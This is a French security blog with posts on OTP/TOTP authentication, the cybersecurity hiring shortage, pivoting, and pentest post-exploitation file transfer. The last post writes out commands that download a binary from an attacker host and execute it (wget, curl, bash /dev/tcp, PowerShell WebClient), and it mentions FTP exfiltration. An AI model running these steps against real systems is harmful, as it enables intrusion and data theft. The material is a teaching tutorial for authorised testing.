jeudi 25 novembre 2021

Authentificatiopn OTP

 L'authentification OTP (One Time Password)

Les OTP ou mot de passe à usage unique - pendant un fenêtre temporelle - sont la forme la plus commune  des authentifications à multiple facteur (MFA) ou second facteur (2FA).

Les sites utilisant un code envoyé par SMS à 6 ou 8 chiffres utilise un OTP. Aujourd'hui deux catégories d'OTP sont utilisés : HOTP basé sur un compteur incrémental et son évolution TOTP basé sur validité dans une une fenêtre temporelle de 30 ou 60 secondes.

HOTP

HOTP (HMAC-based One-Time Password) est un algorithme défini par le groupe de travail OATH et également publié par l’IETF dans la RFC 4226. HOTP est un algorithme d’OTP simple  basé sur une fonction HMAC utilsiant la fonction à sens unique SHA-1. 

HOTP fonctionne sur un compteur incrémenté à chaque utilisation, sans requéri d'entrée utilisateur. Il peut être implémenté sur des dispositifs à faible ressource (clef USB,carte à puce). Le principe repose sur un secret partagé avec la ressource à accéder. Ce secret est utilisé pour dériver un OTP avec le compteur incrémental et la fonction HMAC-SHA-1. L'inconvénient principal est de resynchroniser la partie cliente lorsqu'une désynchronisation du compteur survient.

TOTP

TOTP (Time-based One-Time Password) est un algorithme défini dans la RFC 6238. Il s'agit d'un évolution de HOTP dans laquelle le compteur est remplacée par un timestamp Unix. La synchronisation entre chaque partie s'appuie sur le temps universel UTC. La fenêtre temporelle de validité d'un OTP est de 30 ou 60 secondes. A chaque nouvelle période, le code OTP change. TOTP permet égalemen,t d'utiliser SHA256 ou SHA512 dans le processus de dérivation HMAC. 

Mode d'usage

Ces codes OTP sont souvent associés à une authentification traditionnelle par mot de passe (premier facteur). Ensuite, il est demandé à l'utilisateur un OTP (second facteur ou multiple facteur). 

L'avantage de ces modèles d'authentification permet de s'affranchir d'un problème de couverture réseau mobile pour les codes envoyés par SMS. Un token physique ou une application sur l'ordinateur permette de générer le code OTP. La seule contrainte reste la synchronisation (compteur ou temporelle).

Une procédure initiale permet de configurer le secret partagé entre les deux parties, ainsi que les paramètres cryptographiques associés.



OTP indirects connectés (swipe)

Pour améliorer l’expérience utilisateur en évitant la recopie du code à 6 ou 8 chiffres du téléphone à l’ordinateur, la technique du « swipe » a vu le jour. Elle impliquant un accès au réseau, et après saisie du login/password, le smartphone reçoit une notification demandant de valider la connexion par un simple bouton « OK ». Sous le manteau, c'est le smartphone qui effectue l’authentification en parallèle de l'authentification par mot de passe (cf. Google Authenticator).

Remarque : En 2017, le NIST (National Institute of Standards and Technology) a officiellement considéré les OTP par SMS comme non sécurisés. En effet, ces modes sont vulnérables à des attaques de re-routage dans les réseau SS7 ou de Man in The Middle. https://pages.nist.gov/800-63-3/sp800-63b.html 

   


Applications soft token

Les applications (soft-tokens) sur smartphone se doivent d’être robustes et convenablement implémentées. Une récente étude menée par des experts en sécurité a révélé de nombreuses faiblesses d’implémentation dans des applications de génération d’OTP répandues.

Une application TOTP pour Smartphone est disponible (FreeOTP). KeepassX sous Linux dispose d'un module OTP. Il suffit de configurer la clef au format base32 ainsi que la période (30 ou 60 secondes). Une commande en ligne existe également : oathtool ou des libraires C ou Python. 

Configuration TOTP sur KeepassX (Linux)

Il est aussi possible d'instalelr des plugin dans mes browsers, par exemple pour "Authenticator":

D'autres solutions existent https://alternativeto.net/software/freeotp

La configuration d'une application smartophone recourent à un QR Code. 


Le QR Code dernier contient les éléments d'authentification :

  • le type hotp ou totp, 
  • le compte utilisateur associé, 
  • le nom de l'émetteur, 
  • le secret partagé en hexadécimal ou, le plus souvent, en base32 sans le padding terminal,
  • l'algorithme SHA1/SHA256/SHA512, 
  • le nombre de chiffres de l'OTP (6 ou 8)
  • la durée de la période temporelle (30 ou 60 secondes).

Ces éléments sont combiné dans une URI selon le format suivant (source : https://github.com/google/google-authenticator/wiki/Key-Uri-Format)

otpauth://TYPE/LABEL?PARAMETERS

PARAM

SUB PARAM

Desciption

TYPE

Counter : hotp or time : topt

LABEL

label = accountname / issuer (“:” / “%3A”) *”%20” accountname

Example:include Example:alice@gmail.com, Provider1:Alice%20Smith or Big%20Corporation%3A%20alice%40bigco.com

PARAMETER

SECRET

REQUIRED. Encoded in Base32 according to RFC 3548, padding shoudl be omitted

ISSUER

Strongly recommended. If both issuer parameter and issuer label prefix are present, they should be equal.

examples:

       issuer=Example

       issuer=Provider1

       issuer=Big%20Corporation.

ALGORITHM

OPTIONAL:

       SHA1 (Default)

       SHA256

       SHA512

DIGITS

values 6 or 8, default is 6

COUNTER

if type is hotp: The counter parameter is required when provisioning a key for use with HOTP

PERIOD

OPTIONAL only if type is totp: The period parameter defines a period that a TOTP code will be valid for, in seconds. The default value is 30.


Pour générer un QR Code, il faut encodé en base64 le secret partagé en supprimant le padding ('=').

$ echo -n DEABEEFDEABEEFDEABEEFDEABEEF | xxd -r -p | base32 | tr -d '='

32V657PKX3X55K7O7XVL53Y

Puis, il faut construire l'URI et générer le QR Code

$ qr 'otpauth://totp/Test%20TOTP:bob@totp.net?algorithm=SHA1&secret=32V657PKX3X55K7O7XVL53Y&period=30&digits=6&issuer=Test%20TOTP'


Les facteurs comportementaux

Les facteurs comportementaux peuvent s’ajouter aux autres facteurs explicites comme le couple login/password et un OTP. Ces facteurs sont souvent vérifiés lors de mécanisme d’authentification adaptative :

  • si une tentative d’authentification est réalisée depuis un poste de confiance, dans un lieu de confiance, à une heure normale, seul le premier facteur est nécessaire ;
  • si la tentative est faite depuis un autre pays, en pleine nuit, à partir d’un poste et d’un navigateur inconnus jusqu’à présent, alors l’authentification va s’adapter au contexte en imposant d’autres facteurs (OTP par exemple).

Outil en ligne de commande oathtool

Installer oathtool

$ sudo apt install oathtool zbar-tools xclip

Utiliser l'aide de la commande ou le man. 

$ oathtool --totp=sha1 --time-step-size=30 --digits=6 --base32  32V657PKX3X55K7O7XVL53Y

$ oathtool --totp=sha1 --time-step-size=30 --digits=6 DEABEEFDEABEEFDEABEEFDEABEEF

Récuperer les paramètres d'un QR code d'un site

Depuis un smartphone avec une app QR code, il suffit de lire le QR code.

Depuis une ligne de commande, il faut utiliser les tools zbar

$ sudo apt install zbar-tools 

$ zbarimg Test_OTP_qrcode.png 

QR-Code:otpauth://totp/Test%20TOTP:bob@totp.net?algorithm=SHA1&secret=32V657PKX3X55K7O7XVL53Y&period=30&digits=6&issuer=Test%20TOTP

Il est aussi possible d'écrire un code python pour décoder un QR Code.

$ cat qr_decode.py
#!/usr/bin/python3

import os, sys
import qrtools

prog = os.path.basename(sys.argv[0])

if len(sys.argv) != 2:
    print("Error: argument missing")
    print("Syntax:  %s <qrcode file>" % prog)
    sys.exit(1)

filename = sys.argv[1]

print("[*] Reading QR Code in '%s'" % filename)
qr = qrtools.QR()
qr.decode(filename.encode())

print("[+] Data embedded: %s" % qr.data)


$ qr_decode.py Test_OTP_qrcode.png
[*] Reading QR Code in 'Test_OTP_qrcode.png'
[+] Data embedded: otpauth://totp/Test%20TOTP:bob@totp.net?algorithm=SHA1&secret=32V657PKX3X55K7O7XVL53Y&period=30&digits=6&issuer=Test%20TOTP


Encoder une URI OATH

$ qrencode -o Test_OTP_qrcode.png "otpauth://totp/Test%20TOTP:bob@totp.net?algorithm=SHA1&secret=32V657PKX3X55K7O7XVL53Y&period=30&digits=6&issuer=Test%20TOTP" 

$ display Test_OTP_qrcode.png
$ eog Test_OTP_qrcode.png


 Références

Ressource IETF

RFC 4226 - HOTP: An HMAC-Based One-Time Password Algorithm
https://www.rfc-editor.org/rfc/rfc4226.txt

RFC 6238 - TOTP: Time-Based One-Time Password Algorithm
https://www.rfc-editor.org/rfc/rfc6238.txt


mardi 5 septembre 2017

Les candidats en cybersécurité sont rares


De notoriété publique, le métier de la Cybersécurité a eu du mal à émerger ce dernier quart de siècle. Les directions générales considéraient ces activités comme des centres de coût. Maintenant que la prise de conscience se généralise au fur et à mesure de l’essor de la transition numérique globalisée et des nombreuses attaques associées, les acteurs économiques cherchent à réduire la menace et constatent de fait une absence de compétences sur le marché. Ce phénomène concerne aussi bien les nouveaux diplômés que les confirmés ou encore davantage les seniors. Assouvir une vocation en cybersécurité il y a 10 ou 20 ans relevait du chemin de croix pour un passionné.

Etat des lieux

Les événements d’actualité comme la transition numérique à marche forcée des entreprises, l’entrée en vigueur mi 2018 du règlement européen GDPR (General Data Protection Regulation), la mise en application de la Loi de Programmation Militaire s’adressant à quelques 200 OIV (Opérateurs d’Importance Vitale) en France, ainsi que les recrutements pour les services de l’Etat (ANSSI, DGA, DGSE, ...) contribuent à assécher le marché déjà tendu des compétences en cybersécurité. 

Pour pallier à cette difficulté, les entreprises se tournent vers les prestataires de service déportant la problématique auprès des ESN et sociétés de conseil. Nonobstant, la méconnaissance par les entreprises du marché de la sécurité aboutie à une pression sur les prix des missions de conseil incompatibles avec les salaires des experts expérimentés et seniors. Les ESN et mêmes les sociétés de conseil n’arrivent pas à attirer les rares compétences disponibles. La situation est bloquée.


L’avantage du système éducatif français

Aujourd’hui, l’absence de ressources humaines en cybersécurité met en évidence un manque d’anticipation du besoin dans ce domaine par les acteurs économiques. En France, à coup de forceps, l’ANSSI a insufflé une prise de conscience et le système éducatif français de qualité possède les capacités de produire à terme les compétences attendues même si cela reste encore insuffisant aujourd’hui. La France a l’avantage de posséder un tissu d'universités et d'écoles de qualité et parmi les plus importants d’Europe.

La grille de salaire

Depuis quelques années, la pénurie en cybersécurité émerge au su de tous, favorisant une inflation des salaires des jeunes diplômés et des expérimentés. A contrario, les rares seniors répondants aux exigences de moutons à cinq pattes sont bien trop chers pour les grandes entreprises françaises… En effet, en France, les grandes entreprises possèdent des grilles de salaires tellement étudiées qu’elles ne peuvent répondre aux prétentions salariales des seniors auxquels elles vont jusqu’à demander de consentir à des réductions de salaire !
Un exemple récent concerne la tentative de recrutement d’un expert sécurité de 25 ans d’expérience, présentant toutes les compétences recherchées par une grande entreprise française leader mondial de son secteur industriel et en forte transition vers le numérique. Cette grande entreprise proposait un salaire annuel brut de 80K€ pour attirer la perle convoitée. Malheureusement, le candidat était déjà en poste pour un salaire un peu supérieur dans une autre grande entreprise française. La RH a refusé de concéder une majoration de +15% comme incitation à la prise de risque.
Quel est l’élément différenciateur pouvant inciter ce talent rare à prendre un risque ? Ces mêmes grandes entreprises prennent pourtant des décisions exorbitantes en matière de rémunération des patrons mais là on nous explique qu’il s’agit de la loi de l’offre et de la demande dans la « guerre des talents » ! N’est-ce pas un cas similaire de la pénurie en cybersécurité ?

Le pricing

Pour recruter, une entreprise doit valoriser les compétences du candidat. Les entreprises réalisent alors un pricing pour mesurer la valeur financière des compétences rares sur le marché. Le pricing tient compte de la compétitive externe mais également de l’équité interne et de la maîtrise de la masse salariale. Selon la loi de l’offre et de la demande, un profil rare justifie pleinement un salaire de base majoré.

Cependant, en France, la loi oblige également l’employeur à respecter le principe «  à travail égal, salaire égal », ainsi « il appartient à l’employeur d’établir que la différence de rémunération constatée entre des salariés effectuant un même travail ou un travail de valeur égale est justifiée par des éléments objectifs et pertinents que le juge contrôle » selon l’arrêt du 30 avril 2009 de la chambre sociale de la cours de cassation. L’employeur ne peut « opposer son pouvoir discrétionnaire pour se soustraire à son obligation de justifier de façon objective et pertinente une différence de rémunération ».

Les limites de l’exercice est qu’un égalitarisme aveugle en matière de rétribution conduira à un départ du talent. Dans la même veine, toute absence de réévaluation du salaire conduira également à une fuite des cerveaux. A contrario, une sur-rémunération, à l’image de celles des traders, fidélisent la compétence critique mais peut provoquer un sentiment d’iniquité avec les autres salariés.

Le pricing doit ainsi tenir compte de l’équité interne et externe ainsi que de la masse salariale pour déterminer la rétribution de compétences rares.  Il faut comprendre qu'un profil critique a conscience de sa valeur sur le marché du travail et qu'il compare sa rémunération avec celles d’homologues. 

En cas d'absence d'échelles salariales spécifiques, les entreprises sont contraintes d’adopter une approche ad hoc pour chaque cas. Habituellement, les entreprises majorent les rémunérations  de 15 à 20 % voire d’avantage. Certaines entreprises définissent une grille de salaire supérieure pour répondre au besoin, d’autres proposent des actions gratuites ou d’autres primes de rétention conditionnée à la présence dans l'entreprise selon un échéancier.  Les stocks-options sont aujourd’hui en voie de disparition en raison de leurs contraintes fiscales.

Et ailleurs ?

En Allemagne, au Pays-Bas, au Bénélux, en Suisse, au Royaume Uni ou aux Etats Unis, c’est le marché qui dicte les niveaux de rémunération conformément à l’offre et à la demande. Les grilles de salaires ou autres nuages de points occultes et décalés de la réalité du terrain n’ont pas leur mot à dire.

Les marchés américains, européens et asiatiques ont bien pris conscience de la concurrence féroce pour attirer les compétences critiques, mais pas la France qui a pourtant la chance d’avoir un marché intérieur moins pénurique, enfin tant que ses ressources rares ne partent pas d'avantage à l’étranger.

Certains pays mettent en place des grilles de salaires spécifiques pour le recrutement des ressources clefs. Les rétributions octroyées sont majorées de 15 ou 20 % voire davantage par rapport à la rémunération de référence. C’est le prix à payer pour la rareté et la volatilité (turn over),  

Les RH en France…

Cela met en exergue que nos chers RH nationaux sont largement dépassés par les exigences des métiers du numérique mais ils réfutent néanmoins le besoin de se faire assister par des spécialistes du domaine. Nos RH s’arcboutent sur la sacro-sainte grille des salaires en pleine période de mutation du travail. De l’ubérisation de la société à l’émergence du travail indépendant consécutif à l’évolution du statut d’auto-entrepreneur, la relation du travail change, mais pas les RH : « Il faut garder la maîtrise des salaires coute que coute », peu importe de posséder les ressources adéquates pour gagner des parts de marché sur un marché mondial et fortement concurrentiel. A contrario, il y a beaucoup moins de véto pour recourir à la prestation de service qui est pourtant bien plus couteuses en termes de main d’œuvre pour les entreprises.

La mentalité des RH en France est axée sur le contrôle de la masse salariale, les conditions de rupture ou de sanction. Lorsque certaines enseignes renommées clament haut et fort mettre en place une politique de gestion des talents, il s'avère que dans les faits un recrutement commence dans ces mêmes entreprises par écarter sans discernement tout candidat non détenteur d'un diplôme bac+5 reconnu par l'état, quand bien même ce dernier est un équivalent étranger ou bien un mastère spécialisé d'une grande école...  Pareil pour le TOEIC, sans lui le CV part dans la corbeille ! Il s'agit d'un point bloquant alors que l'anglais peut toujours s'améliorer plus rapidement que les compétences pointues ou l'expérience... 

Dans le domaine de la GRH, la France accuse un retard qui se calcule en décennies en regard des pratiques anglo-saxonnes ou européennes. Le fait de passer la frontière change la donne.


La loi de l’offre et de la demande

De facto, nos compétences rares (seniors, expérimentés et jeunes diplômés) quittent le territoire national pour une herbe plus verte ailleurs. Pourtant, la France est enviée pour la qualité de son système de formation et le nombre d’ingénieurs diplômés chaque année. Mais nos voisins rétablissent ce déséquilibre et réussissent à piller les compétences issues du système d'enseignement français grâce à des politiques de recrutement incitatives alliant rémunérations et conditions attractives. Pas besoin de posséder un tissu d’écoles d’ingénieur ou d’universités si le marché national ne sait pas attirer et retenir les talents. La France fait le plus dur et nos voisins en tirent tout le bénéfice grâce principalement à nos politiques salariales désuètes et à l'incompétence de la compréhension des métiers scientifiques et technqiues.

Pour que la situation change, la loi de l’offre et de la demande doit être respectée sinon cela provoquera un déséquilibre qui sera comblé au détriment du marché national comme c’est le cas pour la France. Nos voisins européens l’ont bien compris et nous remercient de pourvoir des candidats de qualité pour leurs besoins intérieurs propres…

La particularité du marché de la cybersécurité

Le marché de la cybersécurité est différent de celui des compétences technologiques car ce dernier est très étroit et évolue beaucoup plus rapidement rendant une ressource technologique rare quasiment désuète en quelques mois ou années.

A l’opposé, les compétences sécurité ne se déprécient pas à condition que l’impétrant maintienne ses compétences par une veille assidue. En fait, en cybersécurité, il s’agit aussi de compétences extrêmement pointues et en perpétuelle évolution. En outre, il ne suffit pas de former car la cybersécurité est avant tout un état d’esprit et une passion. Ces deux ingrédients sont indispensables pour produire un expert talentueux. Toute la différence est dans le sens étymologique du mot « Hacking ». En conséquence, un spécialiste de la cybersécurité est un geek mu par sa passion lui permettant de développer continuellement son expertise. Sans cette compréhension, il est impossible à un RH d'identifier un talent...

Dit avec d'autres mots, il est possible de former des consultants sécurité mais plus difficile de décréter la formation d’experts en cybersécurité sans tenir compte de la la passion.

Les entreprises et la cybersécurité…
Je gloserai aussi sur certains inepties rencontrées ici ou là. Ainsi, un rapport de l’association ISACA sur la Cybersécurité en 2017 http://www.isaca.org/CYBER/Pages/state-of-cyber-security-2017.aspx conclut « qu'il est très difficile de trouver des candidats qualifiés pour des postes de cyber-sécurité ».

La situation devient plus compliquée lorsque les entreprises cherchent à « embaucher des personnes expérimentées ». Sous-entendu : les candidats n’existent pas. Mais en période de pénurie il est conseillé de recourir à la gestion des talents. Miralles nous a appris dans ce domaine qu’il faut mettre en place une politique adaptée pour l’attraction et la rétention des compétences rares.

L’étude de l’ISACA mentionne que la qualification se définit d’après l’expérience pratique mais que les certifications professionnelles ont une place prépondérante. Parmi les entreprises ayant répondu à l’enquête, près de 70 % exigent une certification et 45 % déclarent que les candidats ne comprennent pas l’activité de la cybersécurité, ou encore 25 % déclarent que les candidats manquent de compétences techniques (pourtant il s’agit de postes de gouvernance plutôt fonctionnels).

Le marché de l’emploi en sécurité est très concurrentiel. Les entreprises doivent donc revoir à la baisse leurs exigences et notamment la description des postes à pourvoir pour ne retenir que les fonctions strictement requises. La recherche du mouton à 5 pattes est à proscrire et l’écueil principal est de mixer différents rôles tels que la gouvernance à l’expertise en passant par l’opérationnel et l’audit dans une même description de poste.

Dans la même optique, il vaut mieux ne pas exiger la possession d'une certification professionnelle car celle-ci réduira drastiquement la liste des candidats. En effet, les entreprises en France ne financent pas ou peu de formations certifiantes et les débutants n’y ont pas du tout accès. Alors exiger une pratique d’autrui quand l’entreprise elle même ne la suit pas et plutôt singulier. 

Pour conclure sur ce sujet, il faut savoir que les certifications sont bien souvent assez mal vues par certains profils très techniques. Une telle exigence fera s'abstenir les meilleurs candidats. Il vaut mieux insister sur les points réellement attractifs comme la convivialité de l’équipe et la mise à disposition de moyens techniques à la hauteur des attentes de cette population exigeante : ordinateur et smartphone dernier cri, outils logiciels et matériels de référence, laboratoire, environnement technologique récent, participation aux conférences de cybersécurité, accès à la formation ou l’auto-formation et projets novateurs.

Le dernier critère, bien que jugé secondaire par la majorité des entreprises, est considéré comme le plus important par la quasi-totalité des candidats. Il s'agit de la rémunération qui doit être attractive et concurrentielle. L’inflation salariale est de rigueur sur un marché en forte tension conformément à la loi de l’offre et de la demande. L’entreprise qui n’accepte pas cet équilibre naturel ne recrutera pas. De surcroît, un bon salaire est également un moyen de rétention car au-delà d’une surprime de 15 à 20 %, un salarié n’obtiendra pas plus ailleurs sauf pour de rares compétences très pointues mais il s’agit dans ce cas de situations isolées. Les entreprises tireront ainsi avantage à définir une grille de salaire spécifique, adaptée à la situation pénurique des marchés du numérique en tension. 

Pour en finir avec les conseils, les entreprises doivent bien comprendre les catégories de métiers et les différents profils de la cybersécurité pour définir correctement les postes et bien identifier les besoins. Stop au profil du mouton à 5 pattes ! 



Un professionnel de la cybersécurité, dotés d’un ensemble de compétences, a déjà un emploi et reçoit plusieurs sollicitations chaque semaine. Ce marché est en plein emploi et beaucoup d’offres ne trouvent pas preneur. La pénurie de talents est là et va encore durer, elle ne doit pas être ignorée car elle présente un risque stratégique pour les entreprises. La capacité d’une entreprise en matière de cybersécurité va devenir dans les prochaines années un élément différenciateur en termes d’image et de confiance envers l’entreprise.


Le rétablissement du déficit de compétences prendra de nombreuses années. Le Syntec et l’Opiiec ont publié une étude qui estime que la croissance en création d’emplois atteint 8 % pour les 5 ans à venir. Or cette tendance est largement supérieure à la capacité de formation en France. L’enjeu devient ainsi stratégique pour les entreprises.

Les certifications

A l’exclusion des certifications ISO 2700x, toutes les autres certifications ne cautionnent aucune compétence réelle, tout juste l’assiduité à une formation et la connaissance de notions parfois élémentaires, surtout le CISSP pourtant plébiscité par les entreprises d’après l’étude de l'ISACA alors que la certification la moins pertinente serait l’OSCP. C’est le monde à l’envers…

Le rapport de l’ISACA nous apprend aussi que près de 60 % des entreprises reçoivent au moins 5 candidats, et que la plupart ne sont pas qualifiés. Il y a ainsi quand même un quart de qualifiés et pour ceux qui ne le sont pas, s’agit-il d’une comparaison en regard des offres recherchant des moutons à 5 ou 6 pattes ? Ainsi, un quart des postes mettent six mois ou plus pour être pourvus et en Europe, un tiers des offres restent vacantes.

Le mouton à 5 pattes…


Ils semblent bien que les entreprises soient toujours en quête du mouton à cinq pattes, capables de faire de la gouvernance, de la sécurité opérationnelle, de la gestion de projet, du pentest, du reverse et de l’expertise pointue avec des compétences en cryptologie, en rétro-ingénierie, en réseau & système, en IoT ou bien en conception, architecture et développement.

Cette étude met en exergue un réel décalage entre les exigences des entreprises et les profils réels en cybersécurité.

Une entreprise devrait se contenter de rechercher les profils répondants au mieux à ses besoins plutôt que de chercher des profils improbables. La méconnaissance de la complexité du domaine par les entreprises est flagrante. En retenant un critère comme la certification, il n’est pas surprenant de considérer que les candidats ne sont pas qualifiés car c'est le niveau requis de la certification qui est alors évalué. En outre, avec ce critère seuls les candidats bénéficiant d’un programme payé par l’entreprise pour obtenir les certifications payantes accèderont au critère de recrutement. Pourtant, ce critère n’identifie pas les compétences. Notons que l’ISACA est avant tout une association spécialisée en gouvernance et audit de sécurité et plutôt étrangère à l’expertise ou la spécialisation en hacking éthique et pentest.

Quelques chiffres


En juin 2017 l’ISC2 (International Information Systems Security Certification Consortium) a interrogé 19 000 spécialistes de la sécurité informatique qui estiment que 1,8 million de salariés qualifiés en cybersécurité vont manquer d’ici 2022 au plan mondial. https://iamcybersafe.org/gisws/



Ainsi, 70 % des entreprises souhaiteraient recruter en 2017 15% d’effectif en plus en cybersécurité et 87 % des salariés recrutés ne posséderaient pas d’expérience professionnelle.  



En France, seulement 1200 postes sur 6000 ont été pourvus en 2016 (source ANSSI).


Parmi ces métiers, les profils les plus recherchés sont, d'après l'étude du Syntec et de l'Opiiec : Consultant (Conseil & Audit), Analyste SOC (SoC), Chef de Projet Sécurité et Architecte (Management) et Administrateur sécurité (MCS) 


Les points d’attention

Ce que doivent comprendre les RH, c’est que l’attraction ou la rétention d’un talent possède une similitude avec le monde sportif dans lequel la qualité et la rareté se paie selon la loi de l’offre et de la demande avec un point d’intersection qui est l’équilibre général, encore faut-il que l’équipe d’accueil ait aussi un environnement attrayant.

L’ironie est que méconnaître ces principes renforce la pénurie en figeant les recrutements pour raison de salaire demandé trop élevé. Le besoin n’est pas pourvu et le marché n'est pas fluide. La France reste isolée et figée en matière de politique salariale. L’effet de bord est de voir ses talents partir pour l’étranger. De facto, le contribuable français participe ainsi à la concurrence étrangère en finançant la formation d’étudiants exerçant ensuite pour une concurrence extra-nationale. Dans un marché mondialisé, les entreprises françaises ont de plus en plus de mal à recruter des candidats français.

Le marché de la cybersécurité est en pleine explosion pour quelques temps encore car la cybermenace se professionnalise avec des cybercriminels très compétents et bien organisés alors qu’en face le niveau de protection des entreprises et des institutions étatiques reste encore insuffisant. A moyen terme, il y aura des vainqueurs et des perdants et cela aura un impact non négligeable sur le développement économique.  La France dispose de nombreux atouts, elle ne doit pas rater le train de la cybersécurité... 

vendredi 7 juillet 2017

Techniques de pivoting

Pivoter avec SSH ou netcat

Les techniques de pivoting (mouvement latéral) concernent les mécanismes de rebond sur un système compromis pour accéder à un réseau privé et l'explorer.

Pivot avec netcat

Le pivot illustré ci-dessous utilise netcat, sur le relais, en attente de connexions. Cette instance communique avec une autre instance netcat via un pipe. La seconde instance est connectée à un système tiers du réseau privé. Un fichier FIFO permet de multiplexer les communication stdin/stdout entre les instances.  


Pivot avec SSH

Cette technique utilise des fonctiaionnalités standard des implémentations SSH pour "tunneler" un flux via un relais (pivot) pour atteindre un équipement dans un réseau privé..


Pivot dynamique avec SSH (proxy SOCK)

Il s'agit d'un pivot dynamique avec SSH permettant de transporter des flux vers des adresses et ports de destination situés  un réseau privé. En fait, il s'agit d'un proxy SOCK. L'application locale sur le poste de l'attaquant doit supporter le protocole SOCK pour se connecter au client SSH local. Pour les applications non sockifiées, il faut utiliser un proxy générique. L'utilitaire proxychains offre ces services à toute commande.

Le fichier ~/proxychains.conf ou /etc/proxychains.conf doit contenir la directive de connexion au client SSH local, c'est à ire, le protocole, l'adresse et le port.

$ cat ~proxychains.conf
socks5 127.0.0.1 9150

Ensuite, il suffit d'invoquer proxychains avec la commande en argument.
$ proxychains <cmd> <args>

Les options sont :
-D port forwarding dynamique
-f exécution en arrière-plan
-N ne pas exéécuter de commande



A faire

Reverse shell en pivot

Transfert de fichiers en post-exploitation


La problématique du transfert en pentest

Lors d'un pentest, après une compromission réussie, la première tâche concerne l'upload d'outils pour commencer la phase de post-exploitation. L'auditeur cherche à augmenter ses privilèges ou effectuer un mouvement latéral (pivoting).

Une exploitation peut résulter en la simple possession d'un shell avec des droits restreints et parfois un environnement austère. Dans ce cas, il devient nécessaire de pouvoir installer quelques outils indispensables pour consolider l'accès distant.

Transfert en HTTP

Le téléchargement de fichiers via HTTP permet de contourner de nombreuses règles de filtrage et reste malgré tout assez simple. Cela peut être réalisé en ligne de commande.

Démarrage du serveur Web

Habituellement, depuis un PC Linux avec Kali ou Backbox, le plus simple est d'utiliser un serveur Web en python. Pour des besoins plus spécifiques, apache (ou un autre serveur Web) peut devenir incontournable.

Pour servir des fichiers avec Apache, il faut les copier dans le répertoire WEBROOT  /var/www/html puis activer le service Apache. Apache est installé par défaut sur de nombreux systèmes UNIX :

$ sudo cp prog.exe /var/www/html
$ sudo service apache2 start

L'autre option consiste à simplement démarrer un serveur Web python directement dans le répertoire contenant les fichiers à uploader. Cela nécessite une seule ligne de commande grâce au module SimpleHTTPServer de Python:

$ sudo python -m SimpleHTTPServer 80 
Serving HTTP on 0.0.0.0 port 80 ...

Par défaut, il sert sur le port 8000, mais le port peut être spécifié en argument.

Téléchargement des fichiers avec des outils standards

Il faut simplement accéder à l'URL http://<server>/<filename> avec un navigateur ou un utilitaire de download en HTTP (wgetcurl, ...).

$ wget http: //kali/prog.exe
$ curl http://kali/prog.exe > p.exe
$ file p.exe
p.exe: PE32+ executable (console) x86-64, for MS Windows 


Téléchargement en HTTP avec bash

Lorsque le shell bash est compilé avec le support du pseudo périphérique /dev/tcp, il est possible de faire des transfert HTTP depuis le shell en ouvrant un descripteur de fichier en lecture/écriture :

Association du descripteur 3 à l'URL http://192.168.1.28
$ exec 3<>/dev/tcp/192.168.1.28/80

GET http://192.168.1.28/pgm
$ echo -e "GET /pgm HTTP/1.1\r\nhost: http://pentest\r\nConnection: close\r\n\r\n" >&3

Ecriture sur du binaire dans un fichier :
$ cat <&3 > pgm

Suppression du header HTTP
hd -n 16 pgm          
00000000  48 54 54 50 2f 31 2e 30  20 32 30 30 20 4f 4b 0d  |HTTP/1.0 200 OK.|
00000010
hd -s 202 -n 16 pgm  
000000ca  7f 45 4c 46 02 01 01 00  00 00 00 00 00 00 00 00  |.ELF............|
000000da

tail -c +203  pgm > pgm.elf  
file pgm.elf  
pgm.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.
so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8cccb424c52c7c54cc8e2da4df3505c98a0ffb0b, not stripped
chmod +x pgm.elf && ./pgm.elf 
You have been hacked!

Téléchargement en HTTP avec powershell

Avec un accès en ligne de commande (via un shell), le téléchargement via HTTP est un peu plus délicat sous Windows car les outils UNIX comme curl ou wget ne sont quasiment jamais présents. Dans ce cas, la meilleure option est d'utiliser l'objet WebClient depuis le shell PowerShell :

C:\> powershell -c "(new-object System.Net.WebClient).DownloadFile('http://192.168.1.50/prog.exe','C:\Users\user\Desktop\prog.exe')"


Transfert en FTP

Une autre méthode pour transférer des fichiers est d'utiliser le protocole FTP. Windows dispose d'un client FTP par défaut. Cette méthode devrait presque toujours fonctionner sous réserve qu'aucune politique de filtrage ne l'empêche.

Démarrage du serveur FTP

Il n'est pas nécessaire d'installer un serveur FTP. Un simple serveur FTP en python ou bien Metasploit suffit. 

FTP en Python

La bibliothèque pytftpd à l'image du serveur Web ci-dessus permet d'exécuter un serveur FTP en une seule ligne de commande. Il faut au préalable installer la librairie :

$ sudo apt-get install python-pyftpdlib



Il faut lancer le serveur FTP depuis le répertoire contenant les fichiers. Par défaut, le port est 2121 avec une authentification anonyme. Pour écouter sur le port standard il faut utiliser l'argument -p 21 :

sudo python -m pyftpdlib -p 21 
[I 17-07-07 10:20:47] >>> starting FTP server on 0.0.0.0:21, pid=22054 <<<
[I 17-07-07 10:20:47] poller: <class 'pyftpdlib.ioloop.Epoll'>
[I 17-07-07 10:20:47] masquerade (NAT) address: None
[I 17-07-07 10:20:47] passive ports: None
[I 17-07-07 10:20:47] use sendfile(2): True

L'avantage de FTP est la possibilité d'exfiltration. Les fichiers peuvent être transférés dans les deux sens avec l'argument (-w). L'inconvénient est que le client ftp de Windows ne supporte pas le mode passif, ce qui ne permet pas de l'utiliser lorsqu'il y a de la NAT entre le client et le serveur.

FTP avec Metasploit 

Il existe également un serveur FTP auxiliaire intégré à Metasploit qui est facile à déployer et à configurer. Il est situé dans auxiliary/server/ftp. Il faut positionner la variable FTPROOT sur le répertoire contenant les fichiers :

sudo msfconsole
msf> use auxiliary/server/ftp
msf auxiliary(ftp) > set FTPROOT /tmp
FTPROOT => /tmp
msf auxiliary(ftp) > exploit
[*] Auxiliary module execution completed
[*] Server started.

Le serveur est lancé en arrière-plan. Pour l'arrêter, il faut utiliser la commande jobs avec l’identifiant en argument du flag -k.  

msf auxiliary(ftp) > jobs
msf auxiliary(ftp) > jobs –k <id>

Client FTP

Les clients disponibles sous UNIX sont nombreux (wget, curl, ...) et sont principalement les mêmes que ceux utilisés pour un transfert HTTP. Seul le nom du protocole change.

$ wget ftp://kali/prog.exe
$ curl ftp://kali/prog.exe -o p.exe


